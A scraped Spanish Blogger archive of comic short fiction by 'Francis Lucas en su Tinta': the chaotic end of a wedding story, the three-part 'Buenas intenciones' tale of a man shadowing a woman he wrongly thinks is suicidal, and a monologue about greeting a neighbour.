<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">El oficiante suelta otra lindeza, ésta vez una
frase célebre de Alejandro Dumas que dice “El Amor es física, el matrimonio,
química” y queriendo reflexionar sobre la frase en cuestión, se hace un pedazo
de lío mezclando conceptos químicos como la tabla periódica con elementos
físicos como <span style="mso-spacerun: yes;"> </span>las piernas de Beyoncé.
Ante el apuro y las risas, contenidas pero audibles, del fondo, deja paso como
puede a la tercera y última lectura, que acometería el primo de Elvira, la
novia.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Y aquí se torcieron las cosas definitivamente.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">El primo, que había tenido sus problemillas con
las drogas en el pasado, siempre tuvo una relación muy estrecha con Elvira.
Relación que se estrechó aún más, hasta el punto de llegar a unirse o
engarzarse físicamente en más de una ocasión, cuando ella hacía las prácticas
de psicología en el “Proyecto Hombre” y se implicó, tal vez demasiado, en la
rehabilitación de su primo. Tras aquel episodio de turbulencias lubricantes,
Elvira quiso hacer borrón y cuenta nueva, pero claro, ni él era una pizarra ni
ella era de piedra. El asunto pues , <span style="mso-spacerun: yes;"> </span>quedó entre ellos dos, como se suele decir.<b style="mso-bidi-font-weight: normal;"><span style="color: red;"></span></b></span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<b style="mso-bidi-font-weight: normal;"><span style="color: red; font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></b></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">(De todo esto hacía ya más de cinco años, aunque
personalmente me enteré cuando acabó todo el follón y me lo contaron entre unos
y otros durante la fiesta de la barra libre.)</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">El caso es que el primo seguía secretamente
enamorado de ella y eso fue lo que le impulsó a declarársele de aquella manera
tan inoportuna como desesperada, en plena boda, el mismo día en el que, quizás
por rabia, una hora antes volvió a ejercer como politoxicómano en el baño,
metiéndose una de cal y otra de harina. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Como decía, el primo haría la tercera y última
lectura.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Lo acompañamos como es habitual con una melodía
soporífera.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Se acercó al atril, cogió el micrófono<span style="mso-spacerun: yes;"> </span>con la mano derecha, se pasó la izquierda por
la frente para secarse el sudor y dijo: “Nunca olvidaré, prima mía, lo mucho
que me ayudaste cuando tuve problemas. Todos sabemos el gran corazón que
tienes, pero pocos somos los que conocemos el amor que puede salir de él. Hoy
te casas, hoy declaras tu fidelidad a un solo hombre, y me alegro por los dos,
pero lloro por dentro porque he de decir públicamente que te quiero, no como
primo, que también, sino como amante que ha probado tu fruto y como hombre que
quisiera seguir comiéndoselo a sabiendas de que de ahora en adelante va a ser
difícil, por no decir imposible, yo…”</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Ni que decir tiene que éstas palabras-bomba,
escupidas apasionadamente por la boca desencajada del primo, despertaron a todo
el personal, ya algo sedado por el calor y el sabor dulzón del acto, y sentaron
como un jarro de agua fría o, mejor dicho, hirviendo, al novio, a su familia y
al cuerpo de bomberos (presentes allí, pues eran compañeros de trabajo y amigos
del novio). </span></h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">El oficiante de la boda se acercó al primo y le
intentó arrebatar el micrófono más o menos educadamente, pero éste le atizó con
él provocándole una hemorragia nasal<span style="mso-spacerun: yes;"> </span>e
intentó seguir hablando “…yo te quiero, prima, deja al bombero éste que está
medio tonto y vente conmigo al África tropical !!!”, entonces Ramón le cogió
del cuello y le metió tal puñetazo que lo lanzó de espaldas al suelo. Éste
gesto no gustó al padre del primo, tío de la novia, que quitándole el violín a
mi compañero, lo partió en dos contra la cabeza del novio.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Entonces empezó la batalla campal, la suegra le
tiró de los pelos a Elvira llamándole fresca, la madre defendió a su hija clavando
el tacón de unos de sus zapatos en el ojo derecho de la suegra, el cuerpo de
bomberos se abalanzó como para poner orden, pero un grupo de amigos del primo
que también pasaron por el “Proyecto Hombre” les plantaron batalla lanzándoles
sillas. Un par de ellas cayeron sobre el estanque revolviendo a los patos y a
las Ocas, éstas últimas entraron en cólera y se metieron entre el gentío a
picar piernas y traseros, en cuanto a los patos, más de uno sirvió como arma
arrojadiza pudiéndose ver a un pato por los aires antes de impactar sobre el
tocado de una señora.</span></h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Nunca vi tanta violencia sin religión ni fútbol
de por medio.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Hubo gritos, caídas, carreras, sangre, golpes,
rotura de huesos, maldiciones…</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Mi compañero el violinista y yo nos alejamos del
lugar para no tomar partido en aquel<span style="mso-spacerun: yes;"> </span>disparate.<span style="mso-spacerun: yes;"> </span>Apartados, junto a otras parejas neutrales,
contemplamos boquiabiertos la batalla hasta que llegó la policía. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">La que lió el puto primo. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">El caso es que consiguió lo que se proponía. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Restablecido el orden, se fue la policía, el
novio, su familia y el cuerpo, magullado, de bomberos. Quedando en el jardín
únicamente la familia de la novia, sus amigos y su primo, que se acercó a ella
y le pidió matrimonio.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"><span style="mso-spacerun: yes;"> </span>Elvira,
tras pegarle un buen tortazo en la cara y dejarle la mejilla señalada…se puso a
reír, provocando una carcajada general y liberadora en todos los que estábamos
allí presentes. Después le miró a los ojos, le dijo” estás colocado” , él
asintió agachando la cabeza y entonces Elvira contestó a la petición de
matrimonio que le acababan de hacer diciendo que sí, que quería casarse con él.
Después se besaron y hubo un gran aplauso.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Así pues, finalmente hubo boda y nos invitaron a
nosotros también!.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">(el padre del primo, además, prometió pagarle el
violín a mi colega).</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Una boda realmente especial, ésta sí que sí,
entre dos primos que habían sido amantes, casados por el “casi periodista” con
la nariz como una berenjena,<span style="mso-spacerun: yes;"> </span>entre
invitados que la mayoría sangraban, cojeaban o tenían el traje y el vestido
rotos,<span style="mso-spacerun: yes;"> </span>en un clima efervescente de
pasión y reafirmación animal.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Todo muy bestia. Un ambiente encantador.</span></h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"><span style="mso-spacerun: yes;"> </span>Tras la
ceremonia no hubo canapés ni entrantes ni comida ni hostias; lo que
necesitábamos, pasada la emoción ,la adrenalina y el peligro, era barra
libre!!.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Y ahí nos las dieron todas.</span></h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Tocamos por fin los temas que nos gustan, de
entre los invitados había uno que sabía tocar la trompeta, la sacó<span style="mso-spacerun: yes;"> </span>del coche y nos acompañó, todo el mundo
bailando, botando, agitando sus conciencias rítmicas. Los patos y las Ocas
merodeaban libremente al compás callejero de la música cíngara, el Sol ya
vencido, el aire que corría fresco, los recién casados alegres como
castañuelas, los familiares celebrando el simpático incesto…</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Para un enlace que se prometía tan soso…resultó
ser un desenlace espectacular.</span></h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Allá donde se encuentren, les deseo lo mejor a
los primos novios. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></h2>
<h2>
</h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com2tag:blogger.com,1999:blog-1750878783975345277.post-67694224392262188952014-10-19T05:52:00.000-07:002014-10-19T05:52:08.746-07:00BUENAS INTENCIONES. Tercera parte y final.<h2>
</h2>
<h2>
Sin pensarlo dos veces mas de las que ya lo había pensado,me senté a su lado. Ella me miró con cierto desprecio, creo recordar, y sibilinamente se apartó un poco arrastrando su trasero sobre el banco metálico de la parada de autobús.</h2>
<h2>
En ese momento quise contarle la verdad, que era yo el que había entrado horas antes en la asesoría para pedir un vaso de agua y que accidentalmente leí uno de sus posits, concretamente el que decía "Acabar con todo de una vez", y que ese mensaje me había puesto en alerta,¿tenía motivos para temer por su vida?, quise haberle preguntado. En lugar de eso, le pregunté "¿ha pasado ya el número 7?. Y me dijo "no lo se". "¿Y el 21?", "¿y el 15?","¿y el 17?"...así hasta interesarme por todos los autobuses de línea del número 1 al 25. En total, 25 preguntas que le hice para ganar tiempo hasta reunir el valor suficiente como para ir directo al grano, al mejunje de la situación, al tema de enjundia, al caso que me había arrastrado hasta allí. Y ella tuvo suma paciencia conmigo, he de admitir, pues respondió con un "no lo se" , tal vez esquivo, a todas mis cuestiones. Por fin me lancé a preguntarle si se quería suicidar o no, pero al abrir la boca para hacerlo llegó el autobús que ella estaba esperando (el número 37) y se levantó para subir a él como un rayo. No podía quedarme allí, así pues subí yo también a éste simpático transporte público. Como seguía con los bolsillos "bohemios" le dije al conductor que me dejase pasar sin pagar porque se trataba de una urgencia, iba al hospital porque mi mujer estaba dando a luz . El conductor me dijo secamente que ese autobús no pasaba por ningún hospital y por un segundo, eterno, se me puso cara de bobo. Reaccioné acto seguido brillantemente susurrándole al oído con voz de viejo lobo de mar "soy un secreta, estoy en una misión de alto riesgo. Déjeme pasar ahora mismo y no llame mas la atención". Entonces, el tío cabezón, me pidió que le enseñase la placa. Nuevamente cara de bobo. Nueva reacción. Hurgué en los bolsillos interiores de la chaqueta de aquel traje de las monjitas y ¿qué hallé?, un carné de pesca de los años 70 !!. Se lo enseñé con firmeza al conductor y picó el anzuelo, nunca mejor dicho. Logré así, de ésta manera, colarme en el bus .</h2>
<h2>
El problema que surgió inmediatamente después es que la mujer me miraba como aterrorizada, sin duda pensó que era una especie de violador, un fanático, un pervertido o algo así. Aquellas gafas de aumento sobre mis ojos, ya de por sí saltones, debían darme un aspecto cuando menos feroz. El asunto se complicaba , ¿cómo iba a confraternizar con ella si mi sola presencia le provocaba pánico?.</h2>
<h2>
Tras cuarenta minutos de trayecto y ocho paradas, llegó la suya. Ella bajó corriendo , yo le seguí al trote. Estábamos en una urbanización, a las afueras de la ciudad. Ella corría y corría, yo no tuve mas remedio que correr también y, viendo ésto, la mujer empezó a gritar socorro, pidiendo ayuda. Menos mal que no había nadie por la calle.</h2>
<h2>
La suerte quiso sonreirme , la suicida en potencia resbaló y cayó de boca al suelo, dejando de gritar. Entonces, por fin, me acerqué a ella, me quité las malditas gafas y le dije "¿por qué has escrito un posit que dice "acabar con todo de una vez"?,¿te quieres quitar la vida?. No lo hagas, estoy aquí para ayudarte".</h2>
<h2>
Y ella, que se llama Laura y hoy día es mi mujer, se echó a reír y no paró de hacerlo en un buen rato. Después, cuando se quedó bien a gusto, me dijo "¿por eso me llevas siguiendo todo el día, porque leíste ese posit?", "Si", le contesté. "No sé quien eres pero estás loco, escribí eso porque estoy harta de trabajar en esa asesoría. Quiero dejarlo y dar la vuelta al mundo, algo que siempre he querido hacer, pero no me atrevo, nunca me atrevo a acabar con todo de una vez"."Y por qué llorabas tanto en el restaurante cochambroso?" quise saber, "cuando me llega la regla me da por deprimirme" me dijo, "Entonces, ¿no quieres suicidarte?", le volví a preguntar. "No, en absoluto,¿estás decepcionado o qué?" me dijo ella . "No, me alegro mucho". Después de aquel diálogo me preguntó mi nombre, me dijo que se llamaba Laura, le ayudé a incorporarse y me invitó a cenar a su casa.</h2>
<h2>
Y desde esa casa, la suya (que ahora es también un poco mía) escribo ésto, porque aquí me quedé a vivir desde entonces. Laura se enamoró de mí, lo cual me pareció genial porque yo ya lo estaba de ella, casi sin saberlo . El primer año juntos fue maravilloso, dimos la vuelta al mundo. Después nos casamos por el rito Hindú, a ella le hacía ilusión. Y mas tarde, paulatinamente, nuestra convivencia pasó de ser maravillosa a ser simplemente estupenda, de estupenda a agradable, de agradable a cómoda, de cómoda a aburrida y de aburrida, en éstos últimos largos meses, a insoportable. Por eso decía al principio de ésta historia que no se si hubiese sido mejor no haberme fijado en aquel posit.</h2>
<h2>
Quizá ahora tenga que ser yo el que deba acabar con todo de una vez, y empezar de nuevo.</h2>
<h2>
Echo de menos aquella vida de perro callejero que llevaba entonces.</h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-1794885064650822312014-10-19T05:50:00.000-07:002014-10-19T05:50:02.344-07:00BUENAS INTENCIONES. Segunda parte .<h2>
Me escondí en una esquina que daba a la calle donde estaba la Asesoría en la que trabajaba la mujer en cuestión. Eran las 14,55 ya. De repente me dí cuenta de que, a pesar de llevar un vestuario totalmente distinto al que tenía puesto cuando ella me vio, mi cara era exactamente la misma y por tanto podría reconocerme.Mi rostro no es que sea espantoso,ni mucho menos, pero suele ser bastante llamativo debido a mis grandes ojos; no en vano, los que me conocen de vista me llaman "el de los ojos saltones" (lo se porque tengo un oído muy fino, y eso que acumulo en ellos mas cerumen del que puede haber en el museo de cera de Barcelona). Por suerte, hurgando en los bolsillos del traje marrón a rayas blancas (y olor añejo a bolitas de naftalina) encontré unas gafas de pasta , también marrones, con unos cristales del grosor de un culo de botella, como se suele decir. Me los puse sin dilación para no ser reconocido por la mujer a la que iba a perseguir y ,treinta segundos después, me dio tal mareo que tuve que agarrarme a algo que pasó a mi lado (resultando ser un carrito de bebé) para no caer al suelo. Los padres del bebé, en cuyo carrito me desplomé abruptamente hasta la cintura,reaccionaron rápidamente propinándome toda clase de golpetazos hasta que logré quitarme las gafas y explicarles el por qué de aquel tropiezo tan tonto. Estando en ésto, vi pasar calle abajo por la cera de enfrente a la mujer que estaba esperando, así pues me largué de allí con viento fresco, siendo insultado a voces por los padres aún cabreados, mostrando con ello poca fe en mi explicación.Sin andarme con remilgos, me puse las gafas de nuevo para cruzar la calle y seguir a la suicida en potencia que , al escuchar las voces que contra mí se proferían, miró para atrás, como cualquier otro ciudadano morboso, para ver qué pasaba. Menos mal que tropecé al cruzar la calle contra uno de los coches que estaban aparcados - con esas gafas lo veía todo distorsionado !!- al agacharme,por el dolor, conseguí accidentalmente que ella no me viese. </h2>
<h2>
Ella siguió caminando y yo seguí sus pasos, aunque me costó mas de lo previsto, pues hasta acostumbrarme, mas o menos, a la visión de aquellas horribles gafas, iba dándome contra las farolas y todo tipo de objetos sin identificar, móviles y estáticos.</h2>
<h2>
Por fin llegó al sitio donde se dirigía, un café-restaurante normalito tirando a cochambroso donde servían menú y platos combinados. Ella se sentó en una mesa y yo me acodé en la barra. Ella pidió menú, yo , como no tenía mas que bolas de naftalina en los bolsillos, solicité un vaso de agua. Le observaba atentamente mientras hacía como que leía un número manoseado de la revista "Muy Deprimente" que se hallaba en la esquina de la barra. </h2>
<h2>
A ella le llegó el primer plato, un triste revuelto de la casa. Al verlo, no se si por ello, se echó a llorar comedida pero perceptiblemente (parapetado tras la revista, me quité las gafas para no perder detalle).Después se repuso y se comió el revueltillo con desgana, mirando al infinito. Le sirvieron el segundo plato, un miserable huevo frito y tres salchichas anoréxicas, acompañado de una hoja de laurel a modo de adorno culinario vanguardista. Ésta vez se le saltaron las lágrimas. Estuve a punto de intervenir con la excusa del consuelo, pero me dije a mí mismo "tate" y le seguí observando a la espera del momento mas oportuno para interferir en su vida, ahora que parecía haber llegado a un callejón sin salida.</h2>
<h2>
Con el postre, un melocotón en almíbar servido en un cuenco de barro, y que le supo a aceituna machada (como ella misma dijo al protestar después de probarlo) se le cayeron los palos del sembrajo, se vino abajo, la cabeza gacha sostenida por sus manos, que tapaban su rostro deformado por el llanto y la penuria. </h2>
<h2>
Tras protestar por el sabor a aceitunas machadas de su melocotón en almíbar pidió la cuenta y se marchó. Nadie en el restaurante, salvo un servidor, se dio cuenta de la pena que arrastraba ésta mujer. Los demás, tres clientes sueltos y dos camareros aburridos,no dejaron de mirar en ningún momento la pantalla de televisión, enganchados a los resultados de la champion leage. Saliendo tras ella de aquel lugar me pregunté cómo es que ninguno de los presentes,machos rancios todos, había mirado a la mujer, no ya con compasión, sino con deseo varonil, pues ya digo que ella...en fin, estaba de buen ver. La única explicación convincente que encontré es que ella debía ir habitualmente a ese lugar a comer (y a deprimirse) y ya la tenían muy vista, o la tenían por loca y la esquivaban, o la ignoraban por alguna otra razón. Estando en éstas reflexiones detectivescas choqué aparatosamente contra un kiosco de prensa, pues llevaba de nuevo las gafotas puestas. Decidí entonces, por el bien y la unidad de mis huesos, no reflexionar tanto y estar mas atento a lo que tenía que estar. </h2>
<h2>
La mujer se sentó en una parada de autobús, eran ya casi las 17h. y la calle estaba poco concurrida. Me senté a su lado. Había llegado la hora de entrar en acción.De saber la verdad, de salvarle la vida o, por contra, dejar de perder el tiempo.</h2>
<h2>
</h2>
<br />Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-35609874385383917182014-10-19T05:47:00.003-07:002014-10-20T01:41:28.078-07:00BUENAS INTENCIONES. Primera parte.<h2>
Hace ya dos años y seis meses que hice aquello, fue una buena acción, muy buena, pero a veces...no se, pienso que hoy día sería mas feliz si mi curiosidad no se hubiese posado casualmente sobre la nota escrita en aquel posit.</h2>
<h2>
Sucedió una mañana de Abril . Llevaba andando a paso ligero mas de dos horas , necesitaba estirar las piernas ( la noche anterior había dormido sentado en un foto-matón) y tenía una sed terrible. Como beber de las fuentes públicas me da asco y en los bares corro peligro, entré en el primer portal que encontré abierto.Resultó ser una asesoría. En la oficina había tres mujeres que, al pedirles tal favor, se miraron unas a otras como diciendo "¿qué dice éste tío?" así es que insistí "¿podrían ofrecerme un vaso de agua,por favor?.Tengo mucha sed". Una de ellas, la que tenía mas cerca, se levantó , me dijo "claro, espérese un momento" y salió por una puerta que había al fondo. Las otras dos me miraron de arriba a bajo sin disimulo. Por unos instantes me sentí un hombre florero,sensación que me gustó pero, poco acostumbrado a ser objeto de las miradas , que yo juzgué como "picaronas", de las mujeres, me sentí algo tenso. Para romper el hielo, se me ocurrió decir "en Abril, aguas mil". Acto seguido, las dos mujeres, sentadas frente a sus ordenadores, se miraron y reprimiendo lo que se anunciaba como una carcajada a mi costa, bajaron sus cabezas y aparentaron teclear algo. En ese momento, por no quedarme tieso como una estatua, me acerqué a la mesa de la mujer que había ido a por un vaso de agua para mí. Me fijé en la pantalla de su ordenador, la tenía rodeada de posits amarillos de distintos tamaños. Me dio tiempo a leer tres, en uno ponía " Gallina en pepitoria en you tube", en otro "entregar informe completo" y en la tercera, para mi sorpresa, se podía leer:</h2>
<h2>
" Acabar con todo de una vez". </h2>
<h2>
En ese momento, la presunta autora de las notas volvió con mi vaso de agua. "Aquí lo tiene" me dijo, alargándome su brazo derecho para entregármelo (el vaso, no el brazo). Como en aquel momento me hallaba yo un tanto cortocircuitado por lo que acababa de leer, calibré mal la distancia y al intentar coger el vaso se lo tiré encima de un zarpazo, mojándole la camisa blanca que llevaba, que al momento se volvió transparente dejando ver su generoso escote, bello y frondoso como un valle Asturiano, pero sin vacas. No recuerdo si le dije "lo siento", lo que tengo claro es que se me escapó un inoportuno "virgen Santísima" y que seis ojos me miraron inquisitivamente justo antes de salir de aquella oficina con la misma sed que antes. Ya en la calle, me dirigí a un paseo cercano y me senté en un banco a reflexionar sobre lo sucedido. Durante la primera media hora me costó centrarme en lo importante, es decir, en el posit que ponía " Acabar con todo de una vez", y es que la imagen de aquel escote me asaltaba impertinentemente, sin pedirme permiso, como la publicidad en internet. Me costó centrarme, como digo, pero por fín (prometiéndome a mí mismo solucionar aquella calentura esa misma noche en el foto-matón) logré controlar mis pensamientos y analicé la cuestión monologando interiormente tal que así: </h2>
<h2>
¿La mujer que me dio el vaso de agua querrá suicidarse?."Acabar con todo de una vez" puede significar mil cosas pero entre ellas significa también quitarse la vida. La historia está llena de ejemplos de personas que antes de suicidarse dejaron mensajes de despedida aparentemente insignificantes que los demás no supieron comprender y que por tanto no tuvieron la ocasión de remediar...sin embargo, si éste fuese un mensaje de despedida, yo si lo entiendo!. ¿Por qué lo escribirá en un posit a la vista de cualquiera?...¿es sólo una llamada de socorro?,¿una súplica de cariño desesperada?...¿se trata de una broma quizá?,¿es un chiste que, como la mayoría de los chistes, no entiendo?...¿le falla a ésta mujer la memoria y tiene que recordarse continuamente que quiere acabar con su vida?... o ...¿se trata de una persona tan organizada que hasta su muerte la quiere tener controlada?; ¿el posit será reciente o tal vez halla caducado su mensaje y se halla disipado su intención?,¿por qué querrá acabar con todo ?,¿se atreverá a hacerlo de verdad? no sé por dentro pero por fuera se le veía estupenda, alta, con el pelo castaño claro, limpio y brillante,rostro fino y elegante, ojos color miel, en la flor de la vida (a punto de marchitarse pues podría tener unos 39 años ) y un cuerpo...bueno, mejor no pensar en su cuerpo que me descentro. Un cuerpazo!!. Eso sí, su mirada era triste. Ese dato es importante, la mirada triste. Aunque tal vez no era tristeza, era sólo que no le gustaba lo que veía, que era yo , vestido con un chandall rosa que debió pertenecer a una niña de 11 años antes de caer en mis manos. Y ahora que caigo, por eso se debieron reír sus dos compañeras, a decir verdad no me queda nada bien éste chándall. Sus miradas al fijarse en mí, que yo juzgé como picaronas, eran mas bien de mofa, claro. (por cierto, he de ir donde las monjas a que me den un atuendo mas adecuado a mi cuerpo. Y hablando de cuerpo...qué cuerpazo tenía la presunta suicida!!...no,no, que me descentro). ¿Y si era tristeza y lo que ha escrito en el posit es cierto y ésta noche decide quitarse la vida?, tendría que impedirlo, ella me ha dado un vaso de agua, y aunque no me lo hubiese dado.Qué cuerpazo!!...no,no. ¿Qué hago?. Si, esperaré a que salga de la oficina, seguro que sale a las tres (qué escote!!) entonces la seguiré a todas partes (y le miraré el culo) vigilaré sus movimientos (todos, todos) y si veo algo extraño...ya se me ocurrirá algo . Si, eso voy a hacer. Pero antes he de solucionar ésta calentura, si no lo hago no me dejará pensar con claridad.</h2>
<h2>
</h2>
<h2>
Tras éste monólogo reflexivo, pedí la hora a alguien que pasaba, como eran las 12 del medio día aún, me levanté del banco con la intención de ir donde las monjas para mejorar mi imagen, al hacerlo, oí el "raaas" que hace (aproximadamente) la ropa cuando se rasga (de ahí lo de "raas", de rasgar) y es que el banco estaba recién pintado y la parte del pantalón del chandall que cubre lo que viene a ser el culo, se me quedó en el asiento pegada, quedando mi calzoncillo enteramente al descubierto. Tras éste chasco, y aún sediento, corrí como una liebre en pos del convento de las Hermanitas de la Caridad. </h2>
<h2>
</h2>
<h2>
A las 14,30 de la tarde ya estaba yo duchado, comido, bebido (en el mineral sentido de la palabra), descargado (sin calentura) y bien vestido, con un traje marrón a rayas blancas - tal vez algo antiguo y una migina estrecho - camisa naranja - que no planché por las prisas-, corbata plateada - sin pega ninguna- medias azules de futbolista y sandalias de cuero, como las que llevaba Fray Perico (el de su borrico). Vamos, hecho un pincel, y dispuesto a salvar la vida en peligro de aquella mujer que me había dado un vaso de agua.</h2>
<h2>
</h2>
<h2>
</h2>
<br />Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-75509603991943715872014-08-31T10:07:00.002-07:002014-08-31T15:21:53.772-07:00LA EXTREMA IMPORTANCIA DE ESAS COSAS QUE NO LA TIENEN.<h2>
Voy a dejar de saludar al dueño del bar que está en la esquina de la calle donde vivo. Siempre está en la puerta fumándose un cigarro porque apenas tiene clientela que atender y una tarde, al pasar yo por allí como lo hago cada día, coincidí con él en el centro de nuestro campo visual y...pues eso, que le saludé y me saludó, por primera vez.</h2>
<h2>
De eso hace ya mas de dos años y no puedo mas. Le saludo por saludar, porque no me queda otra, porque vivo en la misma calle y entro y salgo con frecuencia y él siempre está en la puerta del bar, viéndolas venir. </h2>
<h2>
No es que me cueste saludar a la gente, no soy un antisocial, pero es que saludar por saludar a alguien que no conoces de nada...no sé, no me gusta, me irrita, es como si saludase a una farola o a una papelera o a un perro muerto. ¿Por qué he adquirido éste compromiso?.Qué tonto fui!,no debí haberle saludado nunca!!.</h2>
<h2>
Dejaré de saludarle mañana mismo. Lo malo es que él, seguro, buscará mi mirada y no sé si podré retener el absurdo "taluego" casi ininteligible que le suelto, que le dejo caer miserablemente, que emito contra mi propia voluntad para saludarle de pasada, con cara de NADA, sin sentimiento alguno, sin apego, sin afecto, un "taluego" esclavo de la rutina, del brote formal que me condenó hace ya mas de dos años.</h2>
<h2>
Mas de dos años saludándolo sin conocerlo de nada,que se dice pronto.</h2>
<div>
<h2>
También podría entrar alguna vez en su bar, pedir algo, hablar con él o simplemente beberme una caña allí y después irme. Eso me serviría para saludarle con cierto sentido puesto que ya he...compartido algo con él. Pero es que no quiero entrar en ese bar,¿por qué tengo que entrar en ese bar?.</h2>
</div>
<h2>
Apenas tiene clientes y supongo que andará mal de economía, pero ¿qué culpa tengo yo?. Lo que quiero es dejar de saludarle, simplemente. No saludarle nunca mas.</h2>
<h2>
No se si me explico, se que no tiene mucha importancia el asunto, pero a mí me está minando.</h2>
<h2>
Salgo por la mañana y ya está en la esquina, de pié, fumándose un cigarro, paso y le saludo: "taluego" le digo, "hola" me dice él. Ninguno de los dos mostramos alegría o sorpresa alguna, mas bien lo contrario, cara de pocos amigos, cara de resignación, como dos burros que llevasen encima 300 kilos cuesta arriba.</h2>
<h2>
¿Y qué necesidad tengo yo de ésto?</h2>
<h2>
Vuelvo a pasar a medio día, de vuelta, y le tengo que saludar de nuevo porque no le voy a saludar unas veces sí y otras no, eso si que sería de locos, ¿no?. Así es que, venga, otro "taluego" mal dicho y él que me dice "adiós", o algo parecido.</h2>
<h2>
Por la tarde otra vez y por la noche otra vez. Ésto no es vida !!</h2>
<h2>
